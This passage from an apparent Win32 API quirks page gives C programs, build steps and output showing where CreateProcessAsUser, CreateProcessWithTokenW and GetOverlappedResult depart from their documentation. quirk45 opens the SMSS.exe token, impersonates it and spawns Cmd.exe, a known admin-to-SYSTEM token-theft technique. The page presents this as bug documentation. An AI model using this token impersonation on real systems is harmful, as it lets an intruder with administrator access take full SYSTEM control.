L"SetTokenInformation() returned error %lu\n",
GetLastError());
AdjustTokenPrivileges(hToken,
FALSE,
&tpToken,
sizeof(tpToken),
(TOKEN_PRIVILEGES *) NULL,
(LPDWORD) NULL);
dwError = GetLastError();
if (dwError != ERROR_SUCCESS)
PrintConsole(hConsole,
L"AdjustTokenPrivileges() returned error %lu\n",
dwError);
else
if (!CreateProcessAsUser(hToken,
L"C:\\Windows\\System32\\Cmd.exe",
(LPWSTR) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcessAsUser() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
}
if (!RevertToSelf())
PrintConsole(hConsole,
L"RevertToSelf() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (!CloseHandle(hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk44.exe
a first time
from the source file quirk44.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk44.c advapi32.lib kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk44.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk44.c quirk44.c(187) : warning C4090: 'function' : different 'const' qualifiers quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk44.exe quirk44.obj advapi32.lib kernel32.lib user32.lib
Create the text file quirk44.exe.manifest
with the
following content next to the console application
quirk44.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk44' processorArchitecture='*' type='win32' version='0.8.1.5' />
<description>Quirk44 Console Application</description>
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application quirk44.exe
as
Administrator
:
.\quirk44.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessAsUser() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.Oops¹: the Win32 function
CreateProcessAsUser()
does not fail with Win32 error code
1314 alias
ERROR_PRIVILEGE_NOT_HELD
,
i.e. contrary to its documentation cited above it does
not require the
SE_INCREASE_QUOTA_NAME
privilege!
Oops²: it also does not need to be called with a primary token but accepts an impersonation token as well!
Build the console application quirk44.exe
a second
time from the source file quirk44.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk44.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk44.c quirk44.c(187) : warning C4090: 'function' : different 'const' qualifiers quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk44.exe quirk44.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk44.exe
as
Administrator
again to show the bug:
.\quirk44.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
SetTokenInformation() returned error 5 CreateProcessAsUser() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: although the access token is properly opened with
TOKEN_ADJUST_SESSIONID
for
TokenSessionId
, the
SetTokenInformation()
function fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
!
Build the console application quirk44.exe
a third
time from the source file quirk44.c
created in
step 1., now with the preprocessor macro QUIRKS
defined as 0:
CL.EXE /DQUIRKS=0 quirk44.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk44.c quirk44.c(187) : warning C4090: 'function' : different 'const' qualifiers quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk44.exe quirk44.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk44.exe
a last
time as Administrator
to show its proper function:
.\quirk44.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Oops³: contrary to its documentation cited above, the Win32 function
CreateProcessAsUser()
also works with an empty
STARTUPINFO
structure and does not need its
lpDesktop
member set!
Setting Window Properties Using STARTUPINFO
If the specified process is the System process or one of the Client
Server Run-Time Subsystem (CSRSS) processes, this function fails and
the last error code is ERROR_ACCESS_DENIED
because
their access restrictions prevent user-level code from opening them.
The documentation for the
CreateProcessWithTokenW()
function states:
A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. For more information, see Access Rights for Access-Token Objects. […]The highlighted parts are but wrong!To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.
Create the text file quirk45.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESSENTRY32 pe /* = {sizeof(pe)} */;
PROCESS_INFORMATION pi;
DWORD dwError;
DWORD dwProcessId = 0;
HANDLE hSnapshot;
HANDLE hToken;
HANDLE hThread = GetCurrentThread();
HANDLE hProcess = GetCurrentProcess();
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"CreateToolhelp32Snapshot() returned error %lu\n",
dwError = GetLastError());
else
{
pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe))
PrintConsole(hConsole,
L"Process32First() returned error %lu\n",
dwError = GetLastError());
else
{
do
if ((pe.th32ParentProcessID == 4)
#if 0
&& (wmemcmp(pe.szExeFile, L"smss.exe", sizeof("smss.exe")) == 0))
#else
&& (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
#endif
dwProcessId = pe.th32ProcessID;
while (Process32Next(hSnapshot, &pe));
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
PrintConsole(hConsole,
L"Process32Next() returned error %lu\n",
dwError);
}
if (!CloseHandle(hSnapshot))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (dwProcessId == 0)
{
PrintConsole(hConsole,
L"Process \'SMSS.exe\' not found!\n");
dwError = ERROR_NOT_FOUND;
}
else
{
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
dwProcessId);
if (hProcess == NULL)
PrintConsole(hConsole,
L"OpenProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!OpenProcessToken(hProcess,
#ifdef QUIRKS
TOKEN_DUPLICATE | TOKEN_QUERY,
#else
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY,
#endif
&hToken))
PrintConsole(hConsole,
L"OpenProcessToken() returned error %lu\n",
dwError = GetLastError());
else
{
if (!ImpersonateLoggedOnUser(hToken))
PrintConsole(hConsole,
L"ImpersonateLoggedOnUser() returned error %lu\n",
dwError = GetLastError());
else
{
#ifdef QUIRKS
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
if (!OpenThreadToken(hThread,
TOKEN_ALL_ACCESS,
FALSE,
&hToken))
PrintConsole(hConsole,
L"OpenThreadToken() returned error %lu\n",
dwError = GetLastError());
#endif
else
{
if (!CreateProcessWithTokenW(hToken,
0,
L"C:\\Windows\\System32\\Cmd.exe",
(LPWSTR) NULL,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcessWithTokenW() returned error %lu\n",
dwError = GetLastError());
else
{
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
}
if (!RevertToSelf())
PrintConsole(hConsole,
L"RevertToSelf() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hToken))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (!CloseHandle(hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk45.exe
a first time
from the source file quirk45.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk45.c advapi32.lib kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk45.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk45.c quirk45.c(155) : warning C4090: 'function' : different 'const' qualifiers quirk45.c(46) : warning C4189: 'hThread' : local variable is initialized but not referenced Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk45.exe quirk45.obj advapi32.lib kernel32.lib user32.lib
Create the text file quirk45.exe.manifest
with the
following content next to the console application
quirk45.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk45' processorArchitecture='*' type='win32' version='0.8.1.5' />
<description>Quirk45 Console Application</description>
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application quirk45.exe
as
Administrator
:
.\quirk45.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateProcessWithTokenW() returned error 5 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
although the
access token
is properly opened with TOKEN_ASSIGN_PRIMARY
,
TOKEN_DUPLICATE
and TOKEN_QUERY_SOURCE
access!
Build the console application quirk45.exe
a second
time from the source file quirk45.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk45.c advapi32.lib kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk45.c quirk45.c(155) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk45.exe quirk45.obj advapi32.lib kernel32.lib user32.lib
Execute the console application quirk45.exe
again as
Administrator
:
.\quirk45.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Oops: contrary to its documentation cited above, the Win32 function
CreateProcessWithTokenW()
does not need to be called with a
primary token, it but accepts an
impersonation token as well!
GetOverlappedResult()
and the
OVERLAPPED
structure are documented in the
MSDN as
follows:
Retrieves the results of an overlapped operation on the specified file, named pipe, or communications device. […][…]BOOL GetOverlappedResult( HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait )
hFile
A handle to the file, named pipe, or communications device. […]
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
MembersNote: status code means NTSTATUS code. NTSTATUS values
Internal
The status code for the I/O request. When the request is issued, the system sets this member to STATUS_PENDING to indicate that the operation has not yet started. When the request is completed, the system sets this member to the status code for the completed request.
InternalHigh
The number of bytes transferred for the I/O request. The system sets this member if the request is completed without errors.
[…]
hEvent
A handle to the event that will be set to a signaled state by the system when the operation has completed. The user must initialize this member either to zero or a valid event handle using the CreateEvent function before passing this structure to any overlapped functions. This event can then be used to synchronize simultaneous I/O requests for a device. […]
Create the text file quirk46.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define STATUS_SUCCESS 0x00000000
#define STATUS_WAIT_1 0x00000001
#define STATUS_WAIT_2 0x00000002
#define STATUS_WAIT_3 0x00000003
#define STATUS_WAIT_63 0x0000003F
#define STATUS_ABANDONED_WAIT_63 0x000000BF
#define STATUS_ALREADY_COMPLETE 0x000000FF
#define STATUS_OBJECT_NAME_EXISTS 0x40000000
#define STATUS_THREAD_WAS_SUSPENDED 0x40000001
#define STATUS_ALREADY_WIN32 0x4000001B
#define STATUS_BUFFER_OVERFLOW 0x80000005
#define STATUS_NO_MORE_FILES 0x80000006
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INVALID_INFO_CLASS 0xC0000003
#define STATUS_UNHANDLED_EXCEPTION 0xC0000144
#define STATUS_SYSTEM_PROCESS_TERMINATED 0xC000021A
#define STATUS_MULTIPLE_FAULT_VIOLATION 0xC00002E8
const LONG ntStatus[] = {STATUS_WAIT_0,
STATUS_WAIT_1,
STATUS_WAIT_2,
STATUS_WAIT_3,
STATUS_WAIT_63,
STATUS_ABANDONED_WAIT_0,
STATUS_ABANDONED_WAIT_63,
STATUS_USER_APC,
STATUS_ALREADY_COMPLETE,
STATUS_TIMEOUT,
STATUS_PENDING,
DBG_EXCEPTION_HANDLED,
DBG_CONTINUE,
STATUS_OBJECT_NAME_EXISTS,
STATUS_THREAD_WAS_SUSPENDED,
STATUS_SEGMENT_NOTIFICATION,
STATUS_ALREADY_WIN32,
0x80000000,
STATUS_GUARD_PAGE_VIOLATION,
STATUS_DATATYPE_MISALIGNMENT,
STATUS_BREAKPOINT,
STATUS_SINGLE_STEP,
STATUS_BUFFER_OVERFLOW,
STATUS_NO_MORE_FILES,
DBG_EXCEPTION_NOT_HANDLED,
0xC0000000,
STATUS_UNSUCCESSFUL,
STATUS_NOT_IMPLEMENTED,
STATUS_INVALID_INFO_CLASS,
STATUS_ACCESS_VIOLATION,
STATUS_IN_PAGE_ERROR,
STATUS_INVALID_HANDLE,
STATUS_INVALID_PARAMETER,
STATUS_DLL_NOT_FOUND,
STATUS_ORDINAL_NOT_FOUND,
STATUS_ENTRYPOINT_NOT_FOUND,
STATUS_CONTROL_C_EXIT,
STATUS_DLL_INIT_FAILED,
STATUS_UNHANDLED_EXCEPTION,
STATUS_SYSTEM_PROCESS_TERMINATED,
STATUS_MULTIPLE_FAULT_VIOLATION,
STATUS_STACK_BUFFER_OVERRUN,
STATUS_INVALID_CRUNTIME_PARAMETER,
STATUS_ASSERTION_FAILURE,
STATUS_SXS_EARLY_DEACTIVATION,
STATUS_SXS_INVALID_DEACTIVATION};
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
OVERLAPPED overlapped = {STATUS_PENDING /*, 0, {0, 0}, (HANDLE) NULL */};
DWORD dwBytes;
DWORD dwError = ERROR_SUCCESS;
DWORD dwIndex = 0;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
// overlapped.Internal = STATUS_PENDING;
#ifndef QUIRKS
if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 1
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 2
overlapped.hEvent = INVALID_HANDLE_VALUE;
if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
#elif QUIRKS == 3
overlapped.hEvent = INVALID_HANDLE_VALUE;
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
#endif // QUIRKS
PrintConsole(hConsole,
L"GetOverlappedResult() returned error %lu\n",
dwError = GetLastError());
do
{
overlapped.Internal = ntStatus[dwIndex];
if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, FALSE))
PrintConsole(hConsole,
L"GetOverlappedResult() returned error %lu for NTSTATUS 0x%08lX\n",
GetLastError(), overlapped.Internal);
else
PrintConsole(hConsole,
L"GetOverlappedResult() succeeded for NTSTATUS 0x%08lX\n",
overlapped.Internal);
}
while (++dwIndex < sizeof(ntStatus) / sizeof(*ntStatus));
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk46.exe
from the
source file quirk46.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk46.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk46.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk46.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetOverlappedResult() returned error 6 GetOverlappedResult() succeeded for NTSTATUS 0x00000000 GetOverlappedResult() succeeded for NTSTATUS 0x00000001 GetOverlappedResult() succeeded for NTSTATUS 0x00000002 GetOverlappedResult() succeeded for NTSTATUS 0x00000003 GetOverlappedResult() succeeded for NTSTATUS 0x0000003F GetOverlappedResult() succeeded for NTSTATUS 0x00000080 GetOverlappedResult() succeeded for NTSTATUS 0x000000BF GetOverlappedResult() succeeded for NTSTATUS 0x000000C0 GetOverlappedResult() succeeded for NTSTATUS 0x000000FF GetOverlappedResult() succeeded for NTSTATUS 0x00000102 GetOverlappedResult() returned error 996 for NTSTATUS 0x00000103 GetOverlappedResult() succeeded for NTSTATUS 0x00010001 GetOverlappedResult() succeeded for NTSTATUS 0x00010002 GetOverlappedResult() succeeded for NTSTATUS 0x40000000 GetOverlappedResult() succeeded for NTSTATUS 0x40000001 GetOverlappedResult() succeeded for NTSTATUS 0x40000005 GetOverlappedResult() succeeded for NTSTATUS 0x4000001B GetOverlappedResult() returned error 317 for NTSTATUS 0x80000000 GetOverlappedResult() returned error 2147483649 for NTSTATUS 0x80000001 GetOverlappedResult() returned error 998 for NTSTATUS 0x80000002 GetOverlappedResult() returned error 2147483651 for NTSTATUS 0x80000003 GetOverlappedResult() returned error 2147483652 for NTSTATUS 0x80000004 GetOverlappedResult() returned error 234 for NTSTATUS 0x80000005 GetOverlappedResult() returned error 18 for NTSTATUS 0x80000006 GetOverlappedResult() returned error 688 for NTSTATUS 0x80010001 GetOverlappedResult() returned error 317 for NTSTATUS 0xC0000000 GetOverlappedResult() returned error 31 for NTSTATUS 0xC0000001 GetOverlappedResult() returned error 1 for NTSTATUS 0xC0000002 GetOverlappedResult() returned error 87 for NTSTATUS 0xC0000003 GetOverlappedResult() returned error 998 for NTSTATUS 0xC0000005 GetOverlappedResult() returned error 999 for NTSTATUS 0xC0000006 GetOverlappedResult() returned error 6 for NTSTATUS 0xC0000008 GetOverlappedResult() returned error 87 for NTSTATUS 0xC000000D GetOverlappedResult() returned error 126 for NTSTATUS 0xC0000135 GetOverlappedResult() returned error 182 for NTSTATUS 0xC0000138 GetOverlappedResult() returned error 127 for NTSTATUS 0xC0000139 GetOverlappedResult() returned error 572 for NTSTATUS 0xC000013A GetOverlappedResult() returned error 1114 for NTSTATUS 0xC0000142 GetOverlappedResult() returned error 574 for NTSTATUS 0xC0000144 GetOverlappedResult() returned error 591 for NTSTATUS 0xC000021A GetOverlappedResult() returned error 640 for NTSTATUS 0xC00002E8 GetOverlappedResult() returned error 1282 for NTSTATUS 0xC0000409 GetOverlappedResult() returned error 1288 for NTSTATUS 0xC0000417 GetOverlappedResult() returned error 668 for NTSTATUS 0xC0000420 GetOverlappedResult() returned error 14084 for NTSTATUS 0xC015000F GetOverlappedResult() returned error 14085 for NTSTATUS 0xC0150010 0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6) Error message text: The handle is invalid. CertUtil: -error command completed successfully.Note: the
GetOverlappedResult()
function fails with Win32 error code 6 alias
ERROR_INVALID_HANDLE
if its hFile
argument is NULL
, its
bWait
argument is TRUE
, the
Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
and the hEvent
member is
NULL
!
Note: the hFile
argument of the
GetOverlappedResult()
function can be INVALID_HANDLE_VALUE
or
NULL
if the bWait
argument is
FALSE
or the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
not STATUS_PENDING
!
OUCH: contrary to its documentation cited above,
the
GetOverlappedResult()
function succeeds if the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
(for example) 0x00000001 alias STATUS_WAIT_1
,
0x00000002 alias STATUS_WAIT_2
,
0x00000003 alias STATUS_WAIT_3
,
0x0000003F alias STATUS_WAIT_63
,
0x00000080 alias STATUS_ABANDONED_WAIT_0
,
0x000000BF alias STATUS_ABANDONED_WAIT_63
,
0x000000C0 alias STATUS_USER_APC
,
0x00010001 alias DBG_EXCEPTION_HANDLED
,
0x00010002 alias DBG_CONTINUE
,
0x40000000 alias STATUS_OBJECT_NAME_EXISTS
,
0x40000001 alias STATUS_THREAD_WAS_SUSPENDED
or
0x40000005 alias STATUS_SEGMENT_NOTIFICATION
; these 12
NTSTATUS
codes correspond to the Win32 error codes 731 alias
ERROR_WAIT_1
,
732 alias
ERROR_WAIT_2
,
733 alias
ERROR_WAIT_3
,
734 alias
ERROR_WAIT_63
,
735 alias
ERROR_ABANDONED_WAIT_0
,
736 alias
ERROR_ABANDONED_WAIT_63
,
737 alias
ERROR_USER_APC
,
258 alias
WAIT_TIMEOUT
,
766 alias
ERROR_DBG_EXCEPTION_HANDLED
,
767 alias
ERROR_DBG_CONTINUE
,
698 alias
ERROR_OBJECT_NAME_EXISTS
,
699 alias
ERROR_THREAD_WAS_SUSPENDED
respectively 702 alias
ERROR_SEGMENT_NOTIFICATION
!
Build the console application quirk46.exe
a second
time from the source file quirk46.c
created in
step 1., now with the preprocessor macro QUIRKS
defined as 1:
CL.EXE /DQUIRKS=1 quirk46.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 4. to demonstrate the (mis)behaviour:
.\quirk46.exe
OUCH: if its
hFile
argument is
INVALID_HANDLE_VALUE
, its bWait
argument
is TRUE
and the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
, the
GetOverlappedResult()
function waits infinitely instead to fail with Win32
error code 6 alias
ERROR_INVALID_HANDLE
or Win32 error code 87 alias
ERROR_INVALID_PARAMETER
!
Build the console application quirk46.exe
a third
time from the source file quirk46.c
created in
step 1., now with the preprocessor macro QUIRKS
defined as 2:
CL.EXE /DQUIRKS=2 quirk46.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk46.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk46.exe quirk46.obj kernel32.lib user32.lib
Execute the console application quirk46.exe
built in
step 6. to demonstrate the (mis)behaviour:
.\quirk46.exe
OUCH: if its
hFile
argument is
NULL
, its bWait
argument is
TRUE
, the Internal
member of the
OVERLAPPED
structure pointed to by the lpOverlapped
argument is
STATUS_PENDING
and the hEvent
member is
INVALID_HANDLE_VALUE
, the
GetOverlappedResult()
function waits infinitely instead to fail with Win32
error code 6 alias
ERROR_INVALID_HANDLE
or Win32 error code 87 alias
ERROR_INVALID_PARAMETER
!
GetOverlappedResultEx()
function is left as an exercise to the reader!
SYMPTOMSThe MSDN article Registry Redirector states:When a 32-bit application is writing the %ProgramFiles% registry value on a computer that is running a 64-bit version of Windows Vista, Windows Vista automatically changes this string to %ProgramFiles(x86)%. This behavior cannot be changed.
This behavior also occurs in the 64-bit versions of Windows Server 2003 and of Windows XP.
CAUSE
This behavior occurs because %ProgramFiles% is a keyword for translation from a 64-bit operation to a 32-bit operation. This behavior enables a 32-bit application to work correctly with the %ProgramFiles% registry value when the application reads the %ProgramFiles% registry value later.
